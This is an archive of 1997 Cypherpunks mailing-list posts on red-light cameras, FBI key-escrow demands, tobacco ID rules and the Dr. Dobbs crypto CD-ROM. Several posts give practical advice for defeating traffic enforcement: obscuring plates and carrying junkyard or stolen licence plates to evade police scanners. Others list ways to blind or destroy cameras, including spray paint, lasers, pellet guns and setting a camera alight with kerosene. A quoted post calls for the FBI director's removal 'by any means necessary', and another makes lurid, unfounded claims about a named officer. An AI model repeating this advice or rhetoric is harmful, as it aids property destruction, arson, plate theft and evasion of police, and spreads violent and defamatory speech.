>> Yes, rest assured that Big Brother is watching. Three CopBots have been
>> deployed around the county to take pictures of vehicles exiting
>> intersections after the light has turned red. These CopBots are a great
>> boon to our prosperity and security as they free up the huminoid Cops from
>> traffic duties so that they can better spend their time toilet plunger
>> kicking.
>
>Yes, they love these in Germany too. Ways to combat:
>
>1) Wax your license plate, especially the front one.
>

Or smear mud on the plates. This is an old trick.

(We have the cameras in our area, too. In Campbell, CA, for example. My
recollection from news stories is that the camera also snaps a photo of the
driver, allowing reasonably positive ID. If the photo is blurred or not
usable in court, the traffic charge is dropped (probably only if
challenged, though). Some interesting constitutional issues, it seems to
me. Namely, if Alice is driving Bob's car and is ticketed, should Bob face
the points on his license? Or even criminal charges? Seems to violate our
notions of scienter.)

By the way, a useful survival trick is to have a spare set of license
plates available.  It's not a crime to carry an old set around in one's
vehicle, only to actually use them (and be caught). Sometimes these can be
found at junkyards, sometimes old plates from other states don't have to be
turned in. And the unscrupulous can steal plates from other cars (or switch
them, though this has obvious problems if they are traceable to you!!).

Sure, these plates won't be "valid," and may not have current stickers (if
they're old). But if the cops are looking for your car, or even using
automated plate scanners on toll roads, bridges, etc., then having some old
plates from your Oregon car sure beats having the plates their computers
have flagged.

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 5 Sep 1997 01:54:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Freeh is Marked for Deletion
In-Reply-To: <v03102806b0347d239bf3@[207.167.93.63]>
Message-ID: <19970904173627.10237.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. May writes:

> Freeh must be removed by any means necessary. His calling for mandatory (or
> involuntary) key escrow marks him as unworthy of continued tenure. He is
> marked for deletion.

Dan Quayle was Bush's life insurance.  Who is Freeh's?

----- And now, cryptography fans, I am appending a message I posted at
least 8 times to the list yesterday, with nothing appearing except one
message with no body attached.  In case someone out there has actually
been getting all of them, I apologize in advance.

Subject: Cypherpunk Action Items

Timothy C. May writes:

 > OK, you asked. This isn't a comprehensive list.

 > 1. Fully secure machine to machine connections for the Net,
 > as in Gilmore's "SWAN" project. This makes the Net
 > unsnoopable by the NSA and other TLAs, and makes encryption
 > an automatic (at this level...individual users will of
 > course still encrypt on top of this, as relying on others
 > is never enough).

Sounds reasonable.  I presume we are talking about end-to-end
encryption being the default for connections, and not link
encryption over various hops of the Net here.

 > 2. A usable form of Chaum's cash, a la Goldberg's or
 > Schear's or Back's or whomever's implementation. An
 > evolution of Magic Money, Hashcash, etc., using full
 > strength algorithms. Backing can be decentralized. Less
 > emphasis on deals with banks, more emphasis on guerilla
 > deployment, a la PGP.

Nice, but who is going to be the first to back modular exponents
with actual money?  I recall this being a big stumbling block
back when Chaumiam Cash discussions appeared previously on the
list.  Something like NetCash (The agents.com flavor, not the
Netcash/Netcheque paper), although not very anonymous, is
infinitely more suited to micropayments and integration into
various transport protocols.

 > 3. Distributed, decentralized data bases, a la Eternity,
 > Blacknet, etc. My number one candidate: a commercial credit
 > rating data base not bound by the U.S.' "Fair Credit
 > Reporting Act." Let lenders and landlords find out the dirt
 > on those who welshed on loans or who skipped out on leases,
 > regardless of what the FCRA says. (This could technically be
 > located today in any non-U.S. country, practically, but
 > access by U.S. persons and corporations would have to be
 > done circumspectly. A good use for blinded cash, of the
 > _fully_ untraceable sort, e.g. payer- and payee-anonymous
 > sort.)

I'm still a fan of my "Network Cache Server" approach to
anonymous message pools and distributed data bases, even if only
to reduce spam and provide a completely reliable Usenet.

This then embeds into the Net three levels of communication, with
varying degrees of latency and reliability.

       UDP:  Alice says, "Here's some octets for Bob.  I hope
             they don't get lost in transit."

       TCP:  Alice and Bob are within sight of each other and
             toss octets back and forth, each replacing any the
             other fails to catch.

       NCS:  Alice says to her local cache service, "Here are
             some octets which expire in 10 minutes and a
             micropayment."  Alice gets a 256 bit receipt,
             which may be presented to any other cache server
             to retrieve Alice's octets in the next 10 minutes.

 > 4. Wider use of persisistent pseudonyms. Most of the
 > "anonymous" posts we see are signed in cleartext with names
 > like "TruthMonger," "BombMonger," etc., with little use of
 > PGP sigs to ensure persistence. Spoofing is trivial.
 > Checking sigs is up to the *end reader*, for example, to
 > see that "Pr0duct Cipher" really is the same nym that's in
 > the past posted as Pr0duct Cipher, but it might be useful
 > for us to start really making more use of this sig checking,
 > and even to maintain our own data base of nyms and their
 > public keys, as a kind of demonstration testbed.

This is really a user action item, not a Cyperpunks action item.
The techology to do this already exists.  Like most people, I
will start signing all my posts if I am spoofed in a believable
way, and enjoy the plausable deniability that comes with not
signing them if I am not.

 > What I meant be "the wrong stuff" is the recent focus on
 > breaking simple ciphers that were known to be breakable 20
 > years ago...just a matter of applying the computons in the
 > right way.

Correct.  This continuous brute-forcing of wider and wider keys
has ceased to entertain.  Unless someone comes up with a way to
make less computing power do more keys, I'm really not interested
in hearing about it.

Of course, the first such efforts served to show how distributed
efforts could be mounted on the Net, how much computing power you
could snarf for free, and other interesting things.  However, now
that these things are known, repeating the experiment every week
is not necessary.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 4 Sep 1997 16:57:45 +0800
To: cypherpunks@toad.com
Subject: Re: Big Brother is watching
Message-ID: <199709040837.KAA23572@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
 
> I read in this morning's paper that in the wake of Diana's death, bills are
> being proposed to require licensing for the use of high powered telescopic
> lenses such as those used by celebrity photographers. Ignoring for a moment
> that such an act would make physical confrontation with said photographers
> even more likely, I note the similarity in language used to describe camera
> lenses to language used to describe certain firearms. Soon we will hear
> about the dangers of "assault lenses". The sheeple will eat it up.

  For some reason this made me think of the thread containing light-bulb
jokes, and some warped wit saying,
  "Sure, light bulb jokes are funny, until someone burns a retina..."

  Though I laughed my ass off, at the time, have things really begun to
deteriorate so rapidly that I am justified in now wondering if there
will be a "Light Bulb Joke Amendment" to the "Telescopic Lens
Registration"
legislation?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 5 Sep 1997 02:12:22 +0800
To: cypherpunks@cyberpass.net
Subject: Plunger Pervert Returns to Work
Message-ID: <19970904175553.11355.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Officer Volpe is back on the job, on modified duty minus his badge and
gun.  Apparently the union contract prohibits suspensions over 30 days in
length. 

Gee - you'd think someone like that would be in jail on multimillion
dollar bail as a "suspected sex offender."  If he is convicted, will laws
require him to register for life and notify his neighbors when he moves in
next door to them? 

I certainly wouldn't want this sadistic pervert with his fixation on
minority anuses living next door to me.  If he weren't a cop, they
probably would have searched his house immediately looking for evidence of
other crimes.  I'll bet Officer Volpe has a really unusual porn and dildo
collection.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 4 Sep 1997 23:28:11 +0800
To: Blanc <cypherpunks@Algebra.COM
Subject: Re: Smoking and IDs
In-Reply-To: <3.0.32.19970904013123.006e0204@cnw.com>
Message-ID: <3.0.2.32.19970904105958.03651d9c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:32 AM 9/4/97 -0700, Blanc wrote:
>Lucky Green wrote:
>
>>As signs in any liquor store have been informing tobacco customers for
>>months, new FDA regulations require stores to check the ID of any tobacco
>>customer under 25. This despite the fact that you are legally allowed to

The FDA rules that took effect last February (since when did the FDA gain 
authority over 7-11?) say that anyone who "appears to be under 27 years of 
age" has to be carded.  

>>purchase tobacco products at age 18. If the store fails to check the ID of
>>a person legally permitted to conduct the purchase but is under age 25, the
>>store faces hefty fines.
>........................................................
>
>Another odd thing is how popular cigars have become lately.  Last month I
>bought a copy of "Cigar Aficionado" magazine to peruse, even though I don't
>smoke, because it was so pretty :>) and spent quite some time looking at
>their web site.   It is a curious matter that when one "vice" is squelched,
>another grows in its place.   This magazine really emphasizes living "the
>good life", and I discovered that there are places springing up all over
>the U.S. (and I expect elsewhere) which are smoking clubs - people can
>actually go there just to smoke their cigar, perhaps with a glass of
>after-dinner liquor.    I thought this was a great idea, myself, because
>here these people can be with others who enjoy the same activity, and
>there's no one outside who can complain (not yet, anyway). 

Cigars are not covered by the recent Tobacco Agreement either.  Nor are 
foreign or "boutique" cigarette brands.  Business opportunity?  

>I think sometimes it is not only a Truth, but a great & useful Means to an
>End, that "living well is the best revenge".

Even cigarette smoking is having a bit of a revival in movies and among the 
young.  After all, in a world which has abolished sin it is a genuine 
government-certified sin.

Evita Rodham Clinton wrote a column attacking Julia Roberts for smoking in 
"My Best Friend's Wedding."  When asked about the attack during a publicity 
appearance for "Conspiracy Theory,"  Mel Gibson defended his co-star by 
saying "I'll stop smoking when they stop lying."

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 4 Sep 1997 23:13:05 +0800
To: cypherpunks@Algebra.COM
Subject: NEWS: Re: Big Brother is watching
Message-ID: <199709041503.LAA23136@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:17 PM 9/3/97 -0700, Lucky Green wrote:
...
>BTW, just for the record, I believe that we live in a consumer society and
>the People choose the government they want. The average person doesn't care
>who thinks for them as long as they don't have to think for themselves and
>can pretend to themselves that it was in fact they who did the thinking.
>
>The People desire a master, not a revolution.
...
Excerpt from the not so distant future.
The FBI, NSA, and all local fire departments merged today in an unexpected
congressional action.  This merger was supported highly by the good populus
of our great nation as it makes it easier for the authorities to keep tabs
on those thinkers that keep stirring the people up.  Various professors were
unavailable for comment.
Said one congressman.  "We needed this merger and throwing in the fire
departments seemed a good idea since everyone knows that all buildings are
now fireproofed.  We feel that the firemen's experience with containing the
blazes will do well for creating controlled fires with which to destroy
contraband.  It is also noted that the water trucks that they use can
readily be converted to carry kerosine.
First on the list to be destroyed is every copy of the constitution, which
has caused too much grief of late.  Everyone has a 14 day leneniency in
which to turn in their copies.  Please remember that all media is included
including, but not limited to, CD-ROM's with the terrible screed, pages in
encyclopedias with the infamous words, and handwritten copies.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 4 Sep 1997 23:24:36 +0800
To: cypherpunks@Algebra.COM
Subject: Cars Re: FBI calls for mandatory key escrow
Message-ID: <199709041514.LAA23851@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:43 AM 9/4/97 -0500, amp wrote:
>
>> 
>> I noticed that strange air bag analogy myself. Clearly, Freeh and his
>> puppet masters are trying to skew the discussion towards "public safety".
>> Of course, requiring GAK is more like requiring a remote kill switch in 
>the
>> ignition of all new cars so cops can just type a license plate number 
>into
>> their terminal to halt a fleeing car. [BTW, such kill switches will be
>> required before long. I trust we all know this].
>
>Already implemented actually. All modern automobiles have a rather 
>respectable amount of computing power that is vulnerable to directed radio 
>frequency weapons, whose effect to microelectronics is similar to an 
>electromatic pulse. =This= is what is driving the push to get older 
>vehicles off the road, not environmentalist's arguments about 'global 
>warming'.

Actually, the current trick is to launch a little rocket-powered cart with
some form of electronic measure under the fleeing car from behind.  It
fizzles the electronics pretty well on contact with the bottom of the
oilpan.  Anyone know if one of those protectors that you can get for your
oil pan would deflect this if it were mounted on rubber washers with teflon
screws?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 5 Sep 1997 00:26:48 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: Krispin Preaches Revolution!
In-Reply-To: <03534be19006e0aa4949847a944e6017@anon.efga.org>
Message-ID: <3.0.2.32.19970904113742.0366812c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:39 AM 8/29/97 -0700, Kent Crispin wrote:
>I have known since I was a grasshopper that people trying to effect
>change have a vested interest in making current reality look bad. 
>People entrenched in the power structure, on the other hand, have a
>vested interest in making current reality look good.  
>
>When change doesn't happen, or especially when it goes in a direction
>undesired by the revolutionaries, but liked by the citizens, the
>effort to make current reality look bad intensifies.  When change
>irrevocably passes to an unwanted state, and the revolutionaries
>"lose", a residue of Bitter Old Revolutionary Extremists (BOREs)
>results.  These toothless old tigers, clinging to their youthful
>dreams, rage at a reality that passed them by.  Snarling and
>perpetually misunderstood, they wither and waste away, Cheshire cat
>evil grimace postcripts to history. 

Course the analysis fails when faced with those who think things are good and 
getting better in revolutionary ways disliked by the "powers that be".

None of us have had time to become Bitter Old Revolutionary Extremists yet.  
Tim and I am members of the same birth cohort.  He tends towards depression 
and I tend towards optimism but both of us have seen quite a few changes over 
the years and neither of us are in the position of the American Marxists of 
the 1930s or 1960s New Left radicals who saw their dreams die.

Market liberalism is ascendant.  And it is still in its early period of 
ascendancy.  The Economist observed earlier this year that "We are all 
liberals now".  Pointing out that illiberal philosophies had shuffled off the 
world stage.

Note that "socialism" started circa 1850, rose steadily until the middle of 
this century, and then crashed and burned.  "Red Tony" in the UK is showing 
himself to be slightly to the right of John Boy Major as the students, 
aliens, and pro-inflationists of the UK have recently discovered.

Market Earth continues to take names and kick ass worldwide.  I felt much 
more depressed about the possibilities of a society built on voluntary 
interaction 30, 20, or 10 years ago than I do now.

The fact is that change is continuing and accelerating because people have 
the means to change their own lives.  Since "revolution" which originates 
from the independent and unled actions of millions of people cannot easily be 
suppressed, traditional political analysis fails.

Conquering an "anarchy" is hard enough because of the lack of anyone to 
surrender.  Conquering an "anarchy" that is springing up all around you at 
the "speed of business" or in "net time" is even harder.  The only tactical 
option that would work for our rulers in the current political situation is 
to "nuke us back to the stone age" so that they could regain their 
traditional force ratios.

If the people are not deprived of the wealth and physical powers that they 
now possess (at least in the OECD countries), they are no longer controlled 
in a real sense.  Nominal controls exist but they are weak and ineffective.  
If you doubt this, ask any cop.

DCF

Needed:  A lion untamer.  The cage has been removed but the lion continues to 
pace back and forth over his old ground out of habit.  We need a lion untamer 
who can convince the lion that he's no longer in a cage.





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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 5 Sep 1997 00:34:04 +0800
To: cypherpunks@toad.com
Subject: Big Brother is watching
Message-ID: <2bb492db8556543171a4af60b2cea4ed@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain





> Yes, rest assured that Big Brother is watching. Three CopBots have been
> deployed around the county to take pictures of vehicles exiting
> intersections after the light has turned red. These CopBots are a great
> boon to our prosperity and security as they free up the huminoid Cops from
> traffic duties so that they can better spend their time toilet plunger
> kicking.

Yes, they love these in Germany too. Ways to combat:

1) Wax your license plate, especially the front one.

2) When you find one of these unattended critters along the road, wave
your hand in front of it at amazing speeds until it runs out of film.
(Ensure middle finger is extended.)

3) Wave a plunger in front of it at amazing speeds. Give the cops
tens of alternating shots of your extended finger and plungers.

4) Assault the machine with a plunger. (Only if really mad.)

-- FedPlunger







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Fri, 5 Sep 1997 05:50:05 +0800
To: declan@well.com>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
In-Reply-To: <3.0.3.32.19970903180515.00714940@postoffice.worldnet.att.net>
Message-ID: <3.0.3.32.19970904121842.00780f0c@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


>
>Will is right to say Feinstein was harping on mandatory key escrow 
the
>entire time. I disagree, though, that Freeh "seemed to warm" to the 
idea;
>it's been a wet dream of the FBI for the longest time. 

Uh - duh. Actually we agree entirely.

"Seemed to warm" is - uncharacteristic as it may seem - an deliberate 
understatement.
-----BEGIN PGP SIGNATURE-----
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Will Rodger                                           Voice: +1 202-408-7027 
Washington Bureau Chief                        Fax: +1 202-789-2036
Inter@ctive Week                    http://www.interactiveweek.com
A Ziff-Davis Publication            
   PGP 2.6.2: D83D 0095 299C 2505 25FA 93FE DDF6 9B5F






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Fri, 5 Sep 1997 00:46:30 +0800
To: jya@pipeline.com (John Young)
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
In-Reply-To: <1.5.4.32.19970904132738.0071dd00@pop.pipeline.com>
Message-ID: <199709041621.MAA12307@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



	Its a pretty aggressive claim.  There are plenty of law
enforcement types who want strong crypto, understanding that it stops
crime.  But when you say "top law enforcement advisors," sure.

	I don't know anyone outside of LE who wants a government
policy on this stuff anymore.

Adam 


John Young wrote:
| The on-line NYT's claim today that everyone except the 
| administration is opposed to its crypto policy is daring
| hyperbole. What's your take on that?
| 
|   http://jya.com/crypto-tops.htm
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Thu, 4 Sep 1997 19:06:30 +0800
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Dr. Dobbs CD-ROM outside the US?
In-Reply-To: <19970903171900.47376@sequent.com>
Message-ID: <3.0.3.32.19970904125232.00997d60@localhost>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
>At 05:19 PM 9/3/97 +0200, Unicorn wrote:
>>I am seeing messages about the Dr.Dobbs Crypto CD-ROM not being received
>>by persons inside the US, but right  now I wonder if this information is
>>or will  be available,  in this  form, outside of  the US?
>
>I predict that entire image file will be available for ftp within 48 hours
>of release of the CDROM.

For anonymous ftp? You know, it's copyrighted stuff we're talking about. I
would expect it to appear on the pirate CD market before you see it on any
public ftp servers.


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Thu, 4 Sep 1997 22:05:38 +0800
To: cypherpunks@toad.com
Subject: U.S. Prison Labor
Message-ID: <MWLsR5VCMrOivCN6TCQCTw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone have pointers to information/details about U.S. prison
inmates being used as slave labour for international corporations?

Thanx





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Fri, 5 Sep 1997 05:51:59 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Big Brother is watching
In-Reply-To: <2bb492db8556543171a4af60b2cea4ed@anon.efga.org>
Message-ID: <3.0.2.32.19970904141835.0459c8c0@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:01 PM 9/4/97 -0400, Ray Arachelian wrote:
>
>On Thu, 4 Sep 1997, Anonymous wrote:
>
>> 2) When you find one of these unattended critters along the road, wave
>> your hand in front of it at amazing speeds until it runs out of film.
>> (Ensure middle finger is extended.)
>
>Depends on the kind of camera.  If it's a video camera, you might be able
>to blind the bitch by blasting loads of IR at it which would be
>invisible to any donut munchers watching you....   Anyone know a source
>for big IR lamps?
>
>Any way to defeat film bearing cameras?

Depends if the camera is watched.  

Vaseline on the lens will blur the image, but you have to get close enough
to get it there.

Hard radiation will blur the film, but tends to have nasty side effects.

Pain guns can cover the lens.

Spray paint cans on long poles (as used by agitprop graffiti artists) are
useful.  (Under the cover of night...)

Laser pointers hidden nearby and aimed at the lens.  (About $20 at your
local discount office store.)

Gas or kerosine poured on the camera will make a nice tiki tourch.

An air rifle or pellet gun may be quiet enough to hit the camera from a
distance, breaking the internals of the camera.  (A crossbow will work as
well, but those may be best saved for those unmarked helicopters planting
pot seeds on your property so the government can seize it later.)

A magnet placed on the side of video cameras may screw up the picture.
(This will only work for the metal cased cameras.  You also have to use a
strong magnet and get it in the right spot.)

I am sure others will have useful suggestions.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Fri, 5 Sep 1997 05:44:23 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Dr. Dobbs CD-ROM outside the US?
In-Reply-To: <v03102805b033fa66e48f@[207.167.93.63]>
Message-ID: <3.0.2.32.19970904142430.04533b20@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:40 PM 9/4/97 -0400, Ray Arachelian wrote:
>
>All this jizzing aside, on how long it will take to get there is useless
>unless someone on the other side has an ftp server that can accept
>incoming files of that size? :)  I'm sure there are plenty of ftp crypto
>sites out there, but how many have incoming directories that will allow
>upto 650mb?  Or the equivalent of P.O. boxes and such for snail mailing of
>the CD's...
>
>Also, IMHO, if you do live outside of the USA and download the CD, you
>should make an anonymous donation of $100USD or whatever to Dr. Dobbs. 
>The idea is to fuck with the ITARs, not to pirate Dr. Dobbs's stuff,
>after all, they were nice enough to make the stuff available... :)

Another recommendation is to subscribe.

Dr. Dobbs regularly publishes articles on encryption.  (There are a couple
of articles in this months issue, including an interview with Ron Rivest,
an article on the SSH protocol, and an article on the "block cipher square
algorythm".)  One of the few programming magazines I make sure to subscribe
to...

BTW, does anyone know of the strengths and weeknesses of the Square
algorythm published in the October Dr. Dobbs?

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alano@teleport.com>
Date: Fri, 5 Sep 1997 05:48:33 +0800
To: cypherpunks@Algebra.COM
Subject: Political News from Wired News
Message-ID: <340F2A6A.4A4F@teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.wired.com/news/news/politics/story/6605.html

Senators Embrace Mandatory Data
                     Keys

                     by Wired News Staff 
                     12:03pm  4.Sep.97.PDT In a major advance for
                     hard-line proponents of giving the government wide
                     access to electronic data, several influential
                     senators have declared their support of mandatory
                     key recovery features for all encryption-enabled
                     software sold in the United States. 

                     At a Judiciary subcommittee meeting Wednesday,
                     Senator Dianne Feinstein was among those who
                     came out strongly in support of the position taken
                     by FBI Director Louis Freeh that mandatory key
                     recovery is essential to deterring crime. 

                     "Nothing other than some kind of mandatory key
                     recovery really does the job," the California
                     Democrat said at a hearing of the Senate Judiciary
                     Committee's technology, terrorism, and
                     government information subcommittee. "The
                     public-safety issue is a paramount one." 

                     The subcommittee's chairman, Senator Jon Kyl
                     (R-Arizona), added that he was "in complete
                     agreement." 

                     The Clinton White House, like past
                     administrations, have, along with major police and
                     spy agencies, been strong supporters of such
                     measures. But in Congress, sweeping measures
                     to give government agents an easy-open back
                     door to scrambled data have been met with strong
                     opposition and legislation that cuts in the
opposite
                     direction. 

                     Bills in both the House and Senate have sought to
                     exclude mandatory key recovery systems as a
                     requirement not only for US software-makers and
                     users but also for export products. The Senate
                     version of this liberalized policy is, practically
                     speaking, dead, supplanted by the Secure Public
                     Networks Act by Senators Bob Kerrey
                     (D-Nebraska) and John McCain (R-Arizona). The
                     bill offers incentives to software manufacturers
for
                     building key recovery features into their products.
                     In the House, a liberalization bill by
Representative
                     Bob Goodlatte (R-Virginia) is not only alive but
has
                     gained a majority of members as cosponsors. 

                     The software industry, civil liberties advocates,
and
                     privacy groups on both the right and the left have
                     opposed mandatory key recovery. Some
                     opponents were stunned by Wednesday's hearing.

                     "It was really shocking to hear how casually
                     senators and the FBI director talked about
                     imposing domestic controls," said Alan Davidson,
                     staff counsel at the Center for Democracy and
                     Technology. "They've crossed a new line in this
                     debate." 

                     "It appears that Senator Feinstein wants a
                     Constitution- free zone for the Internet," said
David
                     Banisar, staff counsel at the Electronic Privacy
                     Information Center. 

                     Reuters contributed to this report.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 5 Sep 1997 02:56:00 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Dr. Dobbs CD-ROM outside the US?
In-Reply-To: <v03102805b033fa66e48f@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970904143616.4176A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



All this jizzing aside, on how long it will take to get there is useless
unless someone on the other side has an ftp server that can accept
incoming files of that size? :)  I'm sure there are plenty of ftp crypto
sites out there, but how many have incoming directories that will allow
upto 650mb?  Or the equivalent of P.O. boxes and such for snail mailing of
the CD's...

Also, IMHO, if you do live outside of the USA and download the CD, you
should make an anonymous donation of $100USD or whatever to Dr. Dobbs. 
The idea is to fuck with the ITARs, not to pirate Dr. Dobbs's stuff,
after all, they were nice enough to make the stuff available... :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 5 Sep 1997 02:22:12 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Freeh's ScheiBeSturm
Message-ID: <199709041813.MAA11418@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    the even more ominous (and ridiculous) demand which Freeh
    (apparently even more emboldened) is presenting:

        "...And Louis J. Freeh, the director of the FBI, raised
        the prospect of also requiring Internet service 
        providers to have keys to the data flowing over 
        their networks. "Law enforcement needs to have a 
        system for immediate decryption" when a judge 
        determines it is likely that crime is being or 
        is about to be committed, Freeh told the 
        Subcommittee on Technology, Terrorism and
        Government Information. "We should also look at     
        whether network service providers should have a 
        system for immediate decryption." ....

    this is nothing short of demanding _three_ key encryption,
    with the third key a _universal_ master key for the men who
    claim they wear the white hats, but tinker with the facts in
    their "crime" labs --whose crime?  "ours" or theirs?  Given
    the historical perspective on abuse of power by our federal
    government (and everybody else down their food chain), this
    is patently absurd --yet they WILL try for it.

    asking Congress to evaluate the technology of information
    exchange, let alone the nuances of encryption, is a waste 
    of effort in the shitstorm of Louis Freeh's inflammatory     
    predictions of the four horsemen.  There are not more than a
    handful who have the intelligence to do much other than collect
    bribes.

    why dont the bastards admit it?  all they really want is to wire
    our brains, implant an ID, and enable GPS on us.


 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 5 Sep 1997 03:24:25 +0800
To: cypherpunks@toad.com
Subject: Re: Big Brother is watching
In-Reply-To: <2bb492db8556543171a4af60b2cea4ed@anon.efga.org>
Message-ID: <Pine.SUN.3.96.970904145949.4176B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 4 Sep 1997, Anonymous wrote:

> 2) When you find one of these unattended critters along the road, wave
> your hand in front of it at amazing speeds until it runs out of film.
> (Ensure middle finger is extended.)

Depends on the kind of camera.  If it's a video camera, you might be able
to blind the bitch by blasting loads of IR at it which would be
invisible to any donut munchers watching you....   Anyone know a source
for big IR lamps?

Any way to defeat film bearing cameras?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Thu, 4 Sep 1997 23:32:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
Message-ID: <p0O1XYq0oCVTU9r6VfpGow==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



